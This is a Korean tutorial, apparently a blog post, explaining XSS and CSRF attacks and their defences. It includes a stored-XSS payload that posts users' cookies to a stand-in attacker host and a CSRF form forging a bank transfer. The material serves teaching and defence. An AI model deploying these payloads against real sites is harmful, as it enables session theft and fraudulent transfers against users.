XXS (Cross-Site Scripting)
XSS(Cross-Site Scripting)은 해커가 해킹 대상의 웹 사이트 페이지에 악성 스크립트를 삽입하는 해킹방법이다. 사용자로부터 입력받은 데이터를 제대로 검사하지 않는 취약점을 이용하는 것으로, 여러 사용자가 보는 게시판 형태의 웹 사이트에 악성 스크립트가 담긴 글을 업로드하는 형식으로 해킹이 이뤄진다.
이 방법으로 해커가 쿠키, 세션과 같은 사용자의 정보를 탈취하거나 의도하지 않은 기능을 수행할 수 있다. 주로 다른 웹 사이트와의 정보 교환을 목적으로 하므로 사이트 간 스크립팅(cross-site scripting) 으로 부른다.
XSS 기법에는 크게 3가지가 있다.
non-persistant / reflected XSS (비 지속적 또는 반사 XSS)
GET 요청을 통해 브라우저가 제공한 쿼리 파라미터를 변조하는 기법이다. 주로 검색 요청을 할 때 쿼리스트링이나 헤더에 부적절한 값을 넣어서 웹 사이트가 의도하지 않은 결과를 보려고 할 때 쓴다.
DOM XSS (DOM 기반 XSS)
서버가 사용자로부터 요청받은 값을 기반으로 html이나 JS와 같은 정적 파일로 응답하는 것을 이용하여 해커가 부적절한 값으로 요청하는 기법이다.
var search = document.getElementById('search').value; var results = document.getElementById('results'); results.innerHTML = 'You searched for: ' + search;
위와 같은 JS 파일을 서버에서 응답으로 내려줬을 때
search
에 해당하는 값에 악성 스크립트를 넣어서 스크립트가 실행되도록 하는 게 DOM 기반 XSS 이다.persistant XSS (지속적 XSS)
비 지속적/DOM 기반 XSS에 비해 더 치명적인 기법으로, 사용자가 입력한 데이터를 검사하지 않고 DB에 그대로 저장할 경우 나타난다. 해커가 제공한 데이터가 해킹 대상인 서버에 저장된 다음 지속적으로 서비스를 제공하는 "정상"페이지에서 다른 사용자에게 노출되도록 한다.
어떤 웹 사이트의 게시판에 글을 업로드할 때 브라우저가 아래의 API endpoint로 요청한다고 하자.
writings
라는 바디메세지의 key로 글 내용을 전달한다.POST https://welcomeposts.com/ { 'writings': 'hello, world!' }
해커가 게시판에 접속해서 악성 스크립트를 업로드 한다. 아래 스크립트는 쿠키를 해커 본인의 사이트에 넘긴다.(스크립트를 알아보기 쉽게 줄바꿈과 들여쓰기를 넣었다.)
{ 'writings': " <script> $(document).onload(function() { cookie = document.cookie; $.ajax( { type: 'POST', url: 'https://myhacksite.com/steal-cookie/', data: cookie, } ); }); </script> "
위 내용이 해킹 대상의 웹 사이트의 DB에 저장되고 다른 사용자들에 의해 게시판이 조회될 때마다 정상적인 내용으로 간주되어 브라우저에서 실행된다면 해당 게시판을 이용하는 사용자들의 쿠키들이 탈취될 것이다.
CSRF (Cross-Site Request Forgery)
CSRF(Cross-Site Request Forgery)는 사용자의 의지와 무관하게 사용자가 해킹 대상의 웹사이트를 공격하도록 하는 해킹방법이다. XSS와 다르게 해커가 해킹 대상의 웹 사이트에서 직접 공격하는게 아니라 사용자의 브라우저를 통해 해킹 대상인 웹 사이트를 공격한다. 사용자가 웹사이트에 로그인한 상태에서 위조된 요청을 하는 스크립트를 실행하면, 해킹 대상이 되는 웹사이트는 위조된 요청이 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출된다.
- 해커가 웹 사이트를 공격하는 스크립트가 있는 링크를 정상적인 링크처럼 위조한다.
- 위조한 링크를 이메일이나 소셜네트워크를 통해 사용자에게 퍼뜨린다. 또는 해커 본인의 사이트에 접속을 유도할 수도 있다.
- 사용자는 해커로부터 받은 링크를 연다. 링크를 열면 사용자의 브라우저가 링크 안에 있는 스크립트를 실행한다. 즉, 사용자의 브라우저를 통해 악성 스크립트가 실행된다.
- 웹 사이트는 사용자의 쿠키/세션을 통해서만 사용자 인증을 하므로, 사용자 인증에 성공하면 사용자 브라우저가 실행한 악성 스크립트가 요청한 내용을 처리한다.
은행 사이트가 해커의 공격 대상인 것으로 예시를 들어보자.
사용자가 다른 사람에게 돈을 송금할 때 브라우저는 아래 API endpoint에 요청한다. 송금 대상은
acct
, 송금 금액은 amount
라는 바디메시지의 키로 전달한다.POST http://netbank.com/transfer HTTP/1.1 Content-Type: application/x-www-form-urlencoded body acct=PersonB&amount=100
링크를 열면 아래 스크립트가 실행되도록 해커가 링크를 변조하여 은행 웹 사이트에 로그인 되어있는 사용자들에게 링크를 퍼뜨린다. (사용자의 계좌로부터
AttackerA
에게 100달러를 송금하도록 요청한다.)<html> <body> <form action="http://netbank.com/transfer" method="POST"> <input type="hidden" name="acct" value="AttackerA"/> <input type="hidden" name="amount" value="100"/> <input type="submit" value="View my pictures!"/> </form> </body> <html> <script> $(document).onload(function() { var fakeHeader = new Headers(); fakeHeader.set('Auth-Token', document.cookie.split[";"][1]); document.forms[0].submit(); }); </script>
은행 웹 사이트는 사용자의 쿠키/세션을 통해 사용자 본인이 요청한 것임을 확인하고 사용자 계좌로
AttackerA
에게 100달러를 송금시킨다.XSS와 CSRF 공격을 막는 방법
위와 같은 해킹을 방지하기 위해서는 아래와 같은 방법을 적용할 수 있다.
쿠키 보호
쿠기는 해커들이 자주 공격하는 곳이다. 쿠키를 보호할 수 있는 HTTPS를 필수적으로 사용해야 하고 HTTP로 접속해도 HTTPS로 접속하도록 리다이렉션이 필요하다.
클라이언트는 언제든지 쿠키를 마음대로 생성하거나 변조할 수 있다. 쿠키는 언제든지 변형될 수 있음을 염두하고 개발한다.
서버에서 쿠키를 생성할 때
secure
옵션을 추가하면 HTTPS로 들어온 요청에 대해서만 쿠키를 전달한다.HttpOnly
옵션을 추가하면 브라우저에서 JS코드(document
객체)를 통해 쿠키에 접근하는 것을 방지할 수 있다.escaping
<script>
, <html>
과 같은 키워드가 바디메세지에 있는지 검사한다.적절한 응답 헤더
반사적 기법에 의해 서버가 의도하지 않은 스크립트를 바디메세지에 담아서 응답하지 않도록
content-type
을 정확하게 명시한다.CSRF 토큰 발급
서버는 매 요청 또는 각 사용자의 세션마다 고유한 토큰을 만들어서 브라우저에게 전달할 수 있다.
이후에 요청이 들어올 때마다 토큰을 체크하여 신뢰하지 않는 개체로부터 들어온 요청인지 확인한다.
토큰이 외부로 유출되지 않도록 csrf 토큰이 있는 요청이 외부 서버로 전달되지 않도록 한다.
출처